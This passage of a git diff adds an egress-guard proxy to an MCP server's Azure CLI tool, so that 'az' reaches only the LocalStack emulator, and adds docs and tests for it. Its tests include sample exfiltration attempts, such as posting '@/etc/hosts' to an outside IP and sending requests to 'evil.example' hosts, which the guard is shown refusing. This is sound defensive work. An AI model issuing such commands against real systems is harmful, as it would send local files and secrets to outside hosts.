diff --git a/.github/workflows/azure-smoke.yml b/.github/workflows/azure-smoke.yml index 2c12447..6df646f 100644 --- a/.github/workflows/azure-smoke.yml +++ b/.github/workflows/azure-smoke.yml @@ -16,6 +16,8 @@ jobs: env: # The token's licence must include LocalStack for Azure, or the emulator refuses to start. LOCALSTACK_AUTH_TOKEN: ${{ secrets.LOCALSTACK_AUTH_TOKEN }} + # The list reporter prints each test step, so the run's log shows the whole tour. + PLAYWRIGHT_LIST_PRINT_STEPS: "1" steps: - name: Checkout code uses: actions/checkout@v4 diff --git a/docs/AZURE.md b/docs/AZURE.md index 37d0944..be6dfae 100644 --- a/docs/AZURE.md +++ b/docs/AZURE.md @@ -6,6 +6,26 @@ - It uses your Azure CLI extensions: install one with `az extension add --name `. - Bicep templates need the `bicep` binary on your `PATH` (for example `brew install bicep` or `winget install Microsoft.Bicep`). - Relative file paths in commands resolve against `LOCALSTACK_AZ_WORKDIR`, by default the directory the MCP client starts the server in. -- `rest` calls the emulator: give it a relative URL. An absolute URL must name a local host; a `management.azure.com` URL is turned into a relative one. -- Only `rest` URLs are checked: an endpoint given in a command, such as `--blob-endpoint` or a connection string, is used as it is. +- For an operation that has no `az` command, use [`az rest`](https://learn.microsoft.com/cli/azure/reference-index#az-rest), which sends a raw HTTP request to the Azure API. Give it a relative URL, such as `/subscriptions/{subscriptionId}/resourcegroups?api-version=2021-04-01`. A `management.azure.com` URL is turned into a relative one. Any other absolute URL must be https on a `localhost.localstack.cloud` name, such as `https://azure.localhost.localstack.cloud:4566/...`, the names the emulator's certificate is for. +- `az` reaches only the emulator: see [What `az` can reach](#what-az-can-reach). - The Docker image does not include the Azure CLI yet: run the server with npx or from source to use the Azure tool. + +## What `az` can reach + +Some `az` commands take an address to send data to, such as `--blob-endpoint` or a connection string. Without a check, a command could point that address at any server and upload a local file there. So the tool makes sure `az` can only talk to the emulator. + +It does this with a small local proxy, started for each command. `az` is pointed at the proxy for all its HTTP traffic. The proxy passes on https to the emulator's names (`localhost.localstack.cloud` and every name under it) and the loopback ones, and refuses everything else, including plain `http://`. If the command then fails, the answer names the refused host. Any port on those names is allowed, and every LocalStack serves the same certificate for them, so an endpoint with the wrong port can reach another LocalStack running on this machine and write there; the data stays on this machine. + +The proxy sends those names to this machine itself, so `az` does not need DNS to find the emulator. Your application, `kubectl` and Docker still look these names up: if your router or company DNS blocks answers that point to `127.0.0.1`, allow `localhost.localstack.cloud` there. + +Anything `az` would download from the internet fails, for example: + +- Bicep registry modules (`br:` and `br/public:`), with error BCP192: use local module files. +- `--template-uri`, and parameter files given as URLs (`--parameters https://...`): download the file and pass its path. +- `az extension list-available`: run it with your own Azure CLI. + +The proxy covers `az`, the Azure SDKs, MSAL and Bicep, which all honour `HTTPS_PROXY` and `HTTP_PROXY`. It is not a sandbox, and these are outside it: + +- programs that open their own connections, such as the Docker daemon behind `az acr login` and `az containerapp up --source`, a database client behind `flexible-server connect`, or the MQTT device commands of the `azure-iot` extension; +- workloads running in the emulator (container instances, web apps, AKS clusters), which have their own network access; +- an agent with a shell, which does not go through this tool at all. diff --git a/src/lib/azure/child-env.test.ts b/src/lib/azure/child-env.test.ts index 2992b0f..65b0530 100644 --- a/src/lib/azure/child-env.test.ts +++ b/src/lib/azure/child-env.test.ts @@ -70,3 +70,23 @@ describe("buildAzChildEnv", () => { }); }); }); + +test("no proxy variable of the server's reaches az: with no_proxy=* the egress guard would see nothing", () => { + const proxies = { + NO_PROXY: "*", + no_proxy: "*", + HTTP_PROXY: "http://corp:3128", + http_proxy: "http://corp:3128", + HTTPS_PROXY: "http://corp:3128", + https_proxy: "http://corp:3128", + ALL_PROXY: "socks5://corp:1080", + all_proxy: "socks5://corp:1080", + }; + for (const platform of ["linux", "darwin", "win32"] as const) { + const env = buildAzChildEnv({ PATH: "/usr/bin", ...proxies }, platform, config, launcher); + expect([platform, Object.keys(env).filter((name) => /proxy/i.test(name))]).toEqual([ + platform, + [], + ]); + } +}); diff --git a/src/lib/azure/config.test.ts b/src/lib/azure/config.test.ts index 07fffa6..597f75d 100644 --- a/src/lib/azure/config.test.ts +++ b/src/lib/azure/config.test.ts @@ -1,4 +1,4 @@ -import { getAzureConfig, isLocalHost } from "./config"; +import { getAzureConfig, isEmulatorName, isLocalHost } from "./config"; const HOME = "/home/u"; const deps = { @@ -47,6 +47,19 @@ describe("getAzureConfig", () => { } }); + test("isEmulatorName: the names the emulator's certificate is for, not the loopback ones", () => { + expect(isEmulatorName("Azure.LocalHost.LocalStack.Cloud.")).toBe(true); + expect(isEmulatorName("localhost.localstack.cloud")).toBe(true); + for (const host of [ + "localhost", + "127.0.0.1", + "[::1]", + "localhost.localstack.cloud.evil.example", + ]) { + expect(isEmulatorName(host)).toBe(false); + } + }); + test.each(["~/.azure", "~/.azure/sub", "~", "/cfg/inner"])( "refuses a config dir that overlaps an Azure CLI profile: %s", (dir) => { diff --git a/src/lib/azure/config.ts b/src/lib/azure/config.ts index 97a090c..b0ee218 100644 --- a/src/lib/azure/config.ts +++ b/src/lib/azure/config.ts @@ -32,19 +32,24 @@ export interface AzureConfigDeps { isDirectory?: (p: string) => boolean; } -/** - * The hosts an absolute `rest` URL may name: LocalStack's public DNS names for 127.0.0.1 - * (localhost.localstack.cloud and its subdomains) and the loopback names and addresses. - */ -export function isLocalHost(host: string): boolean { - const h = host +const canonical = (host: string) => + host .toLowerCase() .replace(/\.$/, "") .replace(/^\[(.*)\]$/, "$1"); - return ( - ["localhost", "127.0.0.1", "::1", "localhost.localstack.cloud"].includes(h) || - h.endsWith(".localhost.localstack.cloud") - ); + +/** + * LocalStack's public DNS names for 127.0.0.1: localhost.localstack.cloud and its subdomains, + * the names the emulator's certificate is for. + */ +export function isEmulatorName(host: string): boolean { + const h = canonical(host); + return h === "localhost.localstack.cloud" || h.endsWith(".localhost.localstack.cloud"); +} + +/** The hosts the egress guard tunnels to: the emulator's names and the loopback ones. */ +export function isLocalHost(host: string): boolean { + return isEmulatorName(host) || ["localhost", "127.0.0.1", "::1"].includes(canonical(host)); } function isDirectory(p: string): boolean { diff --git a/src/lib/azure/egress-guard.test.ts b/src/lib/azure/egress-guard.test.ts new file mode 100644 index 0000000..747de8d --- /dev/null +++ b/src/lib/azure/egress-guard.test.ts @@ -0,0 +1,211 @@ +import http from "http"; +import net, { type AddressInfo } from "net"; +import { startEgressGuard, type EgressGuard } from "./egress-guard"; + +// Local servers stand in for the emulator: an echo server that keeps its sockets, one that +// closes at once, and one that counts the connections it gets. +let echo: net.Server; +const echoSockets: net.Socket[] = []; +let closer: net.Server; +let counter: net.Server; +let echoPort: number; +let closerPort: number; +let counterPort: number; +let connections = 0; +let guard: EgressGuard; +const dialled: Array<[number, string]> = []; + +const listen = (server: net.Server) => + new Promise((resolve) => + server.listen(0, "127.0.0.1", () => resolve((server.address() as AddressInfo).port)) + ); +const guardPort = () => Number(new URL(guard.env.HTTPS_PROXY).port); + +/** Sends CONNECT through the guard; resolves with its status line and the open socket. */ +function connectThrough(authority: string): Promise<{ line: string; socket: net.Socket }> { + return new Promise((resolve, reject) => { + const socket = net.connect(guardPort(), "127.0.0.1"); + socket.once("error", reject); + let head = ""; + const onData = (chunk: Buffer) => { + head += chunk.toString("latin1"); + if (!head.includes("\r\n\r\n")) return; + socket.off("data", onData); + resolve({ line: head.split("\r\n")[0], socket }); + }; + socket.on("data", onData); + socket.write(`CONNECT ${authority} HTTP/1.1\r\nHost: ${authority}\r\n\r\n`); + }); +} + +/** Sends a plain-HTTP proxy request (absolute URI) through the guard. */ +function getThrough(url: string): Promise<{ status: number; reason: string }> { + return new Promise((resolve, reject) => { + const req = http.request({ host: "127.0.0.1", port: guardPort(), path: url }, (res) => { + res.resume(); + res.on("end", () => + resolve({ status: res.statusCode ?? 0, reason: res.statusMessage ?? "" }) + ); + }); + req.on("error", reject); + req.end(); + }); +} + +/** The guard still answers: a tunnel to the echo server opens. */ +async function stillServes() { + const { line, socket } = await connectThrough(`localhost:${echoPort}`); + socket.destroy(); + return line; +} + +beforeAll(async () => { + echo = net.createServer((socket) => { + socket.on("error", () => undefined); + echoSockets.push(socket); + socket.pipe(socket); + }); + echoPort = await listen(echo); + // Resets once the tunnel carries data, so the reset always comes after the guard's 200. + closer = net.createServer((socket) => socket.once("data", () => socket.resetAndDestroy())); + closerPort = await listen(closer); + counter = net.createServer((socket) => { + connections += 1; + socket.destroy(); + }); + counterPort = await listen(counter); +}); +afterAll(() => { + echo.close(); + closer.close(); + counter.close(); +}); +beforeEach(async () => { + dialled.length = 0; + connections = 0; + guard = await startEgressGuard({ + connect: (port, host) => { + dialled.push([port, host]); + // 443 is the emulator's https port in the wild; the echo server stands in for it. + return net.connect({ port: port === 443 ? echoPort : port, host, allowHalfOpen: true }); + }, + }); +}); +afterEach(() => guard.close()); + +test("points az's HTTPS_PROXY and HTTP_PROXY at itself", () => { + expect(guard.env.HTTPS_PROXY).toMatch(/^http:\/\/127\.0\.0\.1:\d+$/); + expect(guard.env.HTTP_PROXY).toBe(guard.env.HTTPS_PROXY); +}); + +test("tunnels to the emulator's names on loopback, without DNS", async () => { + for (const host of ["azure.localhost.localstack.cloud", "LOCALHOST", "127.1"]) { + const { line, socket } = await connectThrough(`${host}:${echoPort}`); + expect(line).toBe("HTTP/1.1 200 Connection Established"); + const echoed = new Promise((resolve) => socket.once("data", (d) => resolve(String(d)))); + socket.write("ping"); + expect(await echoed).toBe("ping"); + socket.destroy(); + } + // Nothing listens on ::1, so the dial fails and the client gets a 502. + const ipv6 = await connectThrough(`[::1]:${echoPort}`); + expect(ipv6.line).toBe("HTTP/1.1 502 Bad Gateway"); + ipv6.socket.destroy(); + expect(dialled).toEqual([ + [echoPort, "127.0.0.1"], + [echoPort, "127.0.0.1"], + [echoPort, "127.0.0.1"], + [echoPort, "::1"], + ]); + expect(guard.refused()).toEqual([]); +}); + +test("URL drops the default port; a tunnel to :443 still dials 443", async () => { + const { line, socket } = await connectThrough("azure.localhost.localstack.cloud:443"); + expect(line).toBe("HTTP/1.1 200 Connection Established"); + socket.destroy(); + expect(dialled).toEqual([[443, "127.0.0.1"]]); +}); + +test("refuses every other host, naming it in the 403, and never dials it", async () => { + const lines: string[] = []; + for (const authority of [ + "storage.evil.example:443", + `10.0.0.5:${echoPort}`, + "localhost.localstack.cloud.evil.example:443", + "[2001:db8::1]:443", + ]) { + const { line, socket } = await connectThrough(authority); + lines.push(line); + socket.destroy(); + } + // Python puts the reason phrase into its error, so az's own stderr names the host too. + expect(lines[0]).toBe("HTTP/1.1 403 blocked by the egress guard: storage.evil.example"); + expect(lines.every((line) => line.startsWith("HTTP/1.1 403 "))).toBe(true); + expect(guard.refused()).toEqual([ + "storage.evil.example", + "10.0.0.5", + "localhost.localstack.cloud.evil.example", + "[2001:db8::1]", + ]); + expect(dialled).toEqual([]); +}); + +test("a target that is not host:port is refused, and nothing is dialled", async () => { + for (const authority of [ + `localhost:+${echoPort}`, + `localhost:${echoPort}.0`, + `localhost:${echoPort}e0`, + `user@localhost:${echoPort}`, + `localhost:${echoPort}/path`, + "no-port-here", + ]) { + const { line, socket } = await connectThrough(authority); + expect([authority, line]).toEqual([authority, "HTTP/1.1 400 Bad Request"]); + socket.destroy(); + } + expect(dialled).toEqual([]); +}); + +test("plain HTTP is never relayed, not even to the emulator: 403 naming the target", async () => { + expect(await getThrough(`http://localhost:${counterPort}/`)).toEqual({ + status: 403, + reason: `blocked by the egress guard: http://localhost:${counterPort}`, + }); + expect((await getThrough("http://evil.example/upload")).status).toBe(403); + expect((await getThrough("/not-absolute")).status).toBe(400); + expect(guard.refused()).toEqual([`http://localhost:${counterPort}`, "http://evil.example"]); + expect(connections).toBe(0); + expect(dialled).toEqual([]); +}); + +test("a client that resets mid-tunnel takes the upstream down, and the guard keeps serving", async () => { + const { line, socket } = await connectThrough(`localhost:${echoPort}`); + expect(line).toBe("HTTP/1.1 200 Connection Established"); + // An echo makes sure the upstream side exists before the reset. + const echoed = new Promise((resolve) => socket.once("data", resolve)); + socket.write("ping"); + await echoed; + const upstream = echoSockets[echoSockets.length - 1]; + const upstreamClosed = new Promise((resolve) => upstream.once("close", resolve)); + socket.resetAndDestroy(); + await upstreamClosed; + expect(await stillServes()).toBe("HTTP/1.1 200 Connection Established"); +}); + +test("an upstream that resets first ends the client's side of the tunnel", async () => { + const { line, socket } = await connectThrough(`localhost:${closerPort}`); + expect(line).toBe("HTTP/1.1 200 Connection Established"); + const ended = new Promise((resolve) => socket.once("end", resolve)); + socket.write("ping"); + await ended; + socket.destroy(); + expect(await stillServes()).toBe("HTTP/1.1 200 Connection Established"); +}); + +test("close() ends an open tunnel", async () => { + const { socket } = await connectThrough(`localhost:${echoPort}`); + const closed = new Promise((resolve) => socket.once("close", resolve)); + await guard.close(); + await closed; +}); diff --git a/src/lib/azure/egress-guard.ts b/src/lib/azure/egress-guard.ts new file mode 100644 index 0000000..cc4b00b --- /dev/null +++ b/src/lib/azure/egress-guard.ts @@ -0,0 +1,133 @@ +import { createServer, type IncomingMessage, type ServerResponse } from "node:http"; +import { connect, type AddressInfo, type Socket } from "node:net"; +import type { Duplex } from "node:stream"; +import { isLocalHost } from "./config"; + +/** + * The egress guard: a proxy on 127.0.0.1, one per `az` run, set as the run's HTTPS_PROXY and + * HTTP_PROXY. It opens CONNECT tunnels only to the emulator's names and the loopback ones, and + * dials 127.0.0.1 (or ::1) itself, so no DNS answer decides where a request goes. Every other + * tunnel, and every plain-HTTP request, gets a 403 naming the host, and the host is recorded. + * + * A command can name any endpoint (`--blob-endpoint`, a connection string), and `az` would send + * it the file the command reads. This keeps those requests on this machine's emulator. + * docs/AZURE.md lists what it does not cover. It runs in the MCP server's process, so no socket + * error may reach the event loop. + */ + +export interface EgressGuard { + /** HTTPS_PROXY and HTTP_PROXY for the `az` child. */ + env: { HTTPS_PROXY: string; HTTP_PROXY: string }; + /** What it refused: the host of a tunnel, or `http://host[:port]` for a plain-HTTP request. */ + refused(): string[]; + close(): Promise; +} + +export interface EgressGuardOptions { + /** Tests: opens the connection to an allowed target; `host` is always 127.0.0.1 or ::1. */ + connect?: (port: number, host: string) => Socket; +} + +/** Answers a raw socket and ends it; reading on lets the answer arrive before the close. */ +function reply(socket: Duplex, status: string): void { + try { + socket.end(`HTTP/1.1 ${status}\r\nContent-Length: 0\r\nConnection: close\r\n\r\n`); + socket.resume(); + } catch { + socket.destroy(); + } +} + +/** Starts a guard on 127.0.0.1 and a port the OS picks; it is ready when this resolves. */ +export async function startEgressGuard(options: EgressGuardOptions = {}): Promise { + const open = + options.connect ?? + // Half-open, so a client that shuts down its sending side still gets the whole answer. + ((port: number, host: string) => connect({ port, host, allowHalfOpen: true, noDelay: true })); + const refused = new Set(); + const sockets = new Set(); + const track = (socket: Duplex) => { + sockets.add(socket); + socket.once("close", () => sockets.delete(socket)); + }; + + const tunnel = (req: IncomingMessage, client: Duplex, head: Buffer) => { + // First: Node hands the raw socket over without an 'error' listener. + client.on("error", () => undefined); + try { + // `host:port` only: no user, path or query, and a port that URL accepts. + const target = req.url ?? ""; + const url = URL.canParse(`https://${target}`) ? new URL(`https://${target}`) : undefined; + if (!url || !/:\d+$/.test(target) || url.href !== `${url.origin}/`) { + return reply(client, "400 Bad Request"); + } + if (!isLocalHost(url.hostname)) { + refused.add(url.hostname); + return reply(client, `403 blocked by the egress guard: ${url.hostname}`); + } + const upstream = open( + Number(url.port || 443), + url.hostname === "[::1]" ? "::1" : "127.0.0.1" + ); + track(upstream); + let established = false; + upstream.on("error", () => { + if (!established) reply(client, "502 Bad Gateway"); + }); + upstream.once("connect", () => { + if (client.destroyed) return void upstream.destroy(); + established = true; + client.write("HTTP/1.1 200 Connection Established\r\n\r\n"); + if (head.length > 0) upstream.write(head); + client.pipe(upstream); + upstream.pipe(client); + }); + // Half-closes travel through the pipes; these handle an end that is gone for good. + client.once("close", () => upstream.destroy()); + upstream.once("close", () => client.end()); + } catch { + reply(client, "500 Internal Server Error"); + } + }; + + /** Plain HTTP is never relayed: the emulator's endpoints are https. */ + const refusePlainHttp = (req: IncomingMessage, res: ServerResponse) => { + req.on("error", () => undefined); + res.on("error", () => undefined); + try { + const raw = req.url ?? ""; + const url = /^http:\/\//i.test(raw) && URL.canParse(raw) ? new URL(raw) : undefined; + if (url) refused.add(`http://${url.host}`); + const reason = url ? `blocked by the egress guard: http://${url.host}` : "Bad Request"; + res.writeHead(url ? 403 : 400, reason, { "Content-Length": 0, Connection: "close" }); + res.end(); + } catch { + res.destroy(); + } + }; + + const server = createServer(); + server.on("connection", track); + server.on("connect", tunnel); + server.on("request", refusePlainHttp); + // Accept failures (EMFILE, ...) arrive here; without a listener they would end the server. + server.on("error", () => undefined); + await new Promise((resolve, reject) => { + server.once("error", reject); + server.listen(0, "127.0.0.1", () => { + server.off("error", reject); + resolve(); + }); + }); + + const url = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + return { + env: { HTTPS_PROXY: url, HTTP_PROXY: url }, + refused: () => [...refused], + close: () => + new Promise((resolve) => { + server.close(() => resolve()); + for (const socket of sockets) socket.destroy(); + }), + }; +} diff --git a/src/lib/azure/emulator.test.ts b/src/lib/azure/emulator.test.ts index 6fa631b..bb11362 100644 --- a/src/lib/azure/emulator.test.ts +++ b/src/lib/azure/emulator.test.ts @@ -14,7 +14,6 @@ function deps(over: Partial & { health?: unknown; https?: boolean[ url.endsWith("/health") ? over.health : { session_id: "s1", version: "4.9.0" } ), httpsReady: jest.fn(async () => https.shift() ?? false), - lookup: jest.fn(async () => ["127.0.0.1"]), sleep: jest.fn(async (ms: number) => { now += ms; }), @@ -27,7 +26,7 @@ function deps(over: Partial & { health?: unknown; https?: boolean[ describe("getAzureEmulatorStatus", () => { beforeEach(() => resetEmulatorStatusCache()); - test("ready: the Azure edition, HTTPS answering, the name on loopback", async () => { + test("ready: the Azure edition and HTTPS answering", async () => { const d = deps({ health: AZURE_HEALTH }); expect(await getAzureEmulatorStatus(config, d)).toEqual({ ok: true, @@ -84,18 +83,10 @@ describe("getAzureEmulatorStatus", () => { ); }); - test("the name must resolve to loopback; a session that passed is not checked again", async () => { - const blocked = deps({ health: AZURE_HEALTH, lookup: jest.fn(async () => []) }); - expect((await getAzureEmulatorStatus(config, blocked)).message).toContain("did not resolve"); - const elsewhere = deps({ health: AZURE_HEALTH, lookup: jest.fn(async () => ["10.0.0.5"]) }); - expect((await getAzureEmulatorStatus(config, elsewhere)).message).toContain( - "resolved to 10.0.0.5" - ); - // Once a session has passed, HTTPS and DNS are not checked again. + test("a session that passed is not checked over HTTPS again", async () => { const d = deps({ health: AZURE_HEALTH, https: [true, true] }); await getAzureEmulatorStatus(config, d); await getAzureEmulatorStatus(config, d); expect(d.httpsReady).toHaveBeenCalledTimes(1); - expect(d.lookup).toHaveBeenCalledTimes(1); }); }); diff --git a/src/lib/azure/emulator.ts b/src/lib/azure/emulator.ts index d965de1..9526f0b 100644 --- a/src/lib/azure/emulator.ts +++ b/src/lib/azure/emulator.ts @@ -1,16 +1,16 @@ -import { promises as dns } from "dns"; import https from "https"; import type { AzureConfig } from "./config"; /** * Is the LocalStack Azure emulator usable? Its health and info are read over plain HTTP from the * gateway every tool uses. The ARM endpoint's HTTPS listener comes up seconds after it, and is - * checked on that same gateway with the endpoint's name as SNI. That name must also resolve to - * 127.0.0.1, which some routers' DNS-rebinding protection blocks. + * checked on that same gateway with the endpoint's name as SNI. `az` needs no DNS for it: it + * reaches the emulator through the egress guard, which maps its names to 127.0.0.1 itself. + * Programs that use the URLs `az` prints (the user's app, kubectl, Docker) still resolve them; + * docs/AZURE.md covers routers that block those answers. */ -export type EmulatorProblem = - "not-running" | "wrong-edition" | "license" | "https-not-ready" | "dns"; +export type EmulatorProblem = "not-running" | "wrong-edition" | "license" | "https-not-ready"; export interface AzureEmulatorStatus { ok: boolean; @@ -33,7 +33,6 @@ export interface EmulatorDeps { servername: string, timeoutMs: number ): Promise; - lookup(host: string): Promise; sleep(ms: number): Promise; now(): number; } @@ -86,15 +85,11 @@ function httpsReady( export const defaultEmulatorDeps: EmulatorDeps = { getJson, httpsReady, - lookup: async (host) => (await dns.lookup(host, { all: true })).map((a) => a.address), sleep: (ms) => new Promise((resolve) => setTimeout(resolve, ms)), now: () => Date.now(), }; -const isLoopback = (address: string) => - /^127\./.test(address) || address === "::1" || /^::ffff:127\./i.test(address); - -/** The emulator session whose HTTPS endpoint and DNS name were checked. */ +/** The emulator session whose HTTPS endpoint was checked. */ let verifiedSession: string | undefined; export function resetEmulatorStatusCache(): void { @@ -168,16 +163,6 @@ export async function getAzureEmulatorStatus( message: `The LocalStack Azure emulator answers on ${base}, but its HTTPS endpoint ${config.endpoint} ${notReady}. It may still be starting; retry in a few seconds.`, }; } - // az resolves the endpoint's name itself. - const addresses = await deps.lookup(host).catch(() => []); - if (!addresses.length || !addresses.every(isLoopback)) { - return { - ok: false, - problem: "dns", - ...fields, - message: `${host} ${addresses.length ? `resolved to ${addresses.join(", ")}` : "did not resolve"}, not to 127.0.0.1. It is a public DNS name for 127.0.0.1, which some routers and corporate resolvers block (DNS-rebinding protection): allow localhost.localstack.cloud there, or add \`127.0.0.1 ${host}\` to your hosts file.`, - }; - } if (sessionId) verifiedSession = sessionId; return { ok: true, ...fields }; } diff --git a/src/lib/azure/output.test.ts b/src/lib/azure/output.test.ts index 536ad63..a32b8a3 100644 --- a/src/lib/azure/output.test.ts +++ b/src/lib/azure/output.test.ts @@ -10,7 +10,11 @@ const result = (over: Partial): AzRunResult => ({ truncated: false, ...over, }); -const opts = { notes: [], timeoutSeconds: 300, healthBaseUrl: "http://localhost:4566" }; +const opts = { + notes: [], + timeoutSeconds: 300, + healthBaseUrl: "http://localhost:4566", +}; const text = (r: { content: Array<{ text: string }> }) => r.content[0].text; describe("formatAzResult", () => { @@ -62,6 +66,72 @@ describe("formatAzResult", () => { expect(hint('ERROR: Could not find the "bicep" executable on PATH.')).toContain( "The tool runs Bicep from PATH." ); + expect( + hint("ERROR: main.bicep(1,8) : Error BCP192: Unable to restore the artifact with reference") + ).toContain("Use a local module path instead."); + }); + + test("a URL az downloads itself gets a hint, since az's message does not say why", () => { + const hint = (stderr: string) => text(formatAzResult(result({ exitCode: 1, stderr }), opts)); + const url = "https://raw.githubusercontent.com/Azure/azure-quickstart-templates/x.json"; + for (const stderr of [ + `ERROR: Unable to retrieve url ${url}`, + `ERROR: Unable to parse parameter: ${url}`, + `ERROR: Unable to parse parameter: @${url}`, + ]) { + expect(hint(stderr)).toContain("download the file and pass its path."); + } + // A malformed inline parameter is not a download. + expect(hint("ERROR: Unable to parse parameter: name")).not.toContain("download the file"); + }); + + test("a refusal gets one note, worded for an endpoint the command may name", () => { + // A connection string's account endpoint, a canonical IP: neither is in the command's text. + for (const host of ["acct.blob.example.com", "10.0.0.5"]) { + const failed = text( + formatAzResult(result({ exitCode: 1, stderr: "ERROR: x", refused: [host] }), opts) + ); + expect(failed).toContain( + `The tool refused \`${host}\`: \`az\` reaches only the emulator (\`localhost.localstack.cloud\` and every name under it), over https. If the command names this host, for example in \`--blob-endpoint\` or a connection string, point it at the emulator over https.` + ); + } + const both = result({ + exitCode: 1, + stderr: "ERROR: x", + refused: ["a.example", "http://b.example"], + }); + const note = text(formatAzResult(both, opts)); + expect(note).toContain("The tool refused `a.example`, `http://b.example`:"); + expect(note).toContain("If the command names one of these hosts,"); + expect(text(formatAzResult(result({ stdout: "{}", refused: ["a.example"] }), opts))).toBe("{}"); + }); + + test("hosts az and Bicep call on their own are left out of the note", () => { + const refused = ["aka.ms", "raw.githubusercontent.com", "azcliprod.blob.core.windows.net"]; + const failed = text( + formatAzResult(result({ exitCode: 1, stderr: "ERROR: (InvalidName) x", refused }), opts) + ); + expect(failed).not.toContain("The tool refused"); + // A Bicep deployment that times out for an ordinary reason opens with the timeout advice. + const timedOut = text( + formatAzResult(result({ exitCode: null, timedOut: true, refused }), opts) + ); + expect(timedOut).toMatch(/^❌ \*\*Command Timed Out\*\*\n\n`az` did not finish within 300 s/); + }); + + test("a timeout after a refusal leads with the refusal, not with raising the timeout", () => { + const timedOut = result({ + exitCode: null, + timedOut: true, + refused: ["aka.ms", "acct.blob.core.windows.net"], + }); + const answer = text(formatAzResult(timedOut, opts)); + expect(answer).toMatch( + /^❌ \*\*Command Timed Out\*\*\n\nThe tool refused `acct\.blob\.core\.windows\.net`:/ + ); + expect(answer.indexOf("The tool refused")).toBeLessThan( + answer.indexOf("LOCALSTACK_AZ_TIMEOUT") + ); }); test("timeout, cancel and a spawn failure", () => { diff --git a/src/lib/azure/output.ts b/src/lib/azure/output.ts index 519a25b..ba7bdf7 100644 --- a/src/lib/azure/output.ts +++ b/src/lib/azure/output.ts @@ -75,9 +75,38 @@ function failureHint(stderr: string, opts: FormatOptions): string | undefined { // az's own advice (config set, az bicep install) is refused here. return "The tool runs Bicep from PATH. Install it (for example `brew install bicep` or `winget install Microsoft.Bicep`), then restart this MCP server."; } + if (/\bBCP192\b/.test(stderr)) { + return "Bicep could not download a registry module (`br:` or `br/public:`): the tool lets `az` and Bicep reach only the emulator. Use a local module path instead."; + } + // --template-uri, and a URL given to --parameters; az's message does not say why. + if (/Unable to retrieve url |Unable to parse parameter: @?https?:\/\//.test(stderr)) { + return "`az` downloads this URL itself, and the tool lets it reach only the emulator: download the file and pass its path."; + } return undefined; } +/** + * Hosts `az` and Bicep call on their own, even in runs that succeed: Bicep's module index, and + * az's version and update checks. Their refusals are not the command's doing. + */ +const BACKGROUND_HOSTS = new Set([ + "aka.ms", + "raw.githubusercontent.com", + "azcliprod.blob.core.windows.net", +]); + +/** What the egress guard refused, which az's own error often does not name. */ +function refusedNote(result: AzRunResult): string | undefined { + const refused = (result.refused ?? []).filter((host) => !BACKGROUND_HOSTS.has(host)); + if (refused.length === 0) return undefined; + return ( + `The tool refused ${refused.map((host) => `\`${host}\``).join(", ")}: \`az\` reaches only ` + + "the emulator (`localhost.localstack.cloud` and every name under it), over https. If the " + + `command names ${refused.length === 1 ? "this host" : "one of these hosts"}, for example ` + + "in `--blob-endpoint` or a connection string, point it at the emulator over https." + ); +} + export function formatAzResult(result: AzRunResult, opts: FormatOptions): ToolResponse { if (result.spawnError) { return ResponseBuilder.error("Azure CLI Could Not Start", result.spawnError); @@ -96,7 +125,8 @@ export function formatAzResult(result: AzRunResult, opts: FormatOptions): ToolRe "`--no-wait` where the command has it."; return ResponseBuilder.error( "Command Timed Out", - [advice, stderr].filter(Boolean).join("\n\n") + // A refusal comes first: az's retries after one can be what used up the time. + [refusedNote(result), advice, stderr].filter(Boolean).join("\n\n") ); } const stdout = cap( @@ -126,6 +156,7 @@ export function formatAzResult(result: AzRunResult, opts: FormatOptions): ToolRe const blocks = [ stderr || "`az` exited without an error message.", stdout && `Output:\n${stdout}`, + refusedNote(result), failureHint(result.stderr, opts), ...opts.notes, ]; diff --git a/src/lib/azure/policy.test.ts b/src/lib/azure/policy.test.ts index bc06230..e67f61e 100644 --- a/src/lib/azure/policy.test.ts +++ b/src/lib/azure/policy.test.ts @@ -124,7 +124,7 @@ describe("evaluateAzCommand", () => { expect(allowed("rest -u https://management.azure.com").argv[2]).toBe("/"); }); - test("rest calls local hosts only: a file given as the body would go wherever the URL points", () => { + test("rest reaches only the emulator: a file given as the body would go wherever the URL points", () => { for (const command of [ "rest --method post --url http://10.1.2.3:8080/x --body @/etc/hosts", "rest --uri=HTTP://evil.example/x", @@ -134,12 +134,31 @@ describe("evaluateAzCommand", () => { "rest --url https://management.azure.com.evil.example/x", "rest --url https://localhost@evil.example/x", ]) { - expect(refusal(command).title).toBe("URL not allowed"); + expect(refusal(command).message).toContain("is not the emulator"); } + // Plain http is refused by the egress guard, and the emulator's certificate does not cover + // localhost or 127.0.0.1, so only https on its own names gets through. + for (const command of [ + "rest --url http://localhost:4566/_localstack/health", + "rest --url http://127.0.0.1:2375/version", + "rest --url https://localhost:4566/subscriptions?api-version=2021-04-01", + "rest --url https://127.0.0.1:4566/x", + "rest --url http://azure.localhost.localstack.cloud:4566/x", + ]) { + const { message } = refusal(command); + expect(message).toContain("fails az's certificate check or the egress guard"); + expect(message).toContain("`https://azure.localhost.localstack.cloud:4566`"); + } + // The configured endpoint, so the agent gets a URL it can use as is. + const onPort = evaluateAzCommand("rest --url https://localhost:4567/x", { + endpoint: "https://azure.localhost.localstack.cloud:4567", + }); + expect(!onPort.ok && onPort.message).toContain( + "or one on `https://azure.localhost.localstack.cloud:4567`." + ); for (const url of [ "https://azure.localhost.localstack.cloud:4566/x", - "http://localhost:4566/_localstack/health", - "http://127.0.0.1:4566/x", + "https://localhost.localstack.cloud:4566/x", "/subscriptions?api-version=2022-12-01", "//evil.example/x", // no scheme: az puts the emulator's endpoint before it ]) { diff --git a/src/lib/azure/policy.ts b/src/lib/azure/policy.ts index cc3340e..c38108f 100644 --- a/src/lib/azure/policy.ts +++ b/src/lib/azure/policy.ts @@ -1,6 +1,6 @@ import os from "os"; import { AzSyntaxError, splitAzArgs } from "./argv"; -import { isLocalHost } from "./config"; +import { isEmulatorName, isLocalHost } from "./config"; /** * The Azure command policy: a decision over one `az` command string, made before anything runs. @@ -125,7 +125,8 @@ const refuse = (title: string, message: string): PolicyResult => ({ ok: false, t export function evaluateAzCommand( command: string, - user: { home?: string; platform?: NodeJS.Platform } = {} + /** `endpoint` is the emulator's ARM endpoint, for the `rest` refusal's example URL. */ + user: { home?: string; platform?: NodeJS.Platform; endpoint?: string } = {} ): PolicyResult { // One leading `az` is optional. const body = command.trim().replace(/^az(\s+|$)/, ""); @@ -205,10 +206,17 @@ export function evaluateAzCommand( continue; } const host = URL.canParse(url) ? new URL(url).hostname : undefined; - if (hasScheme(url) && 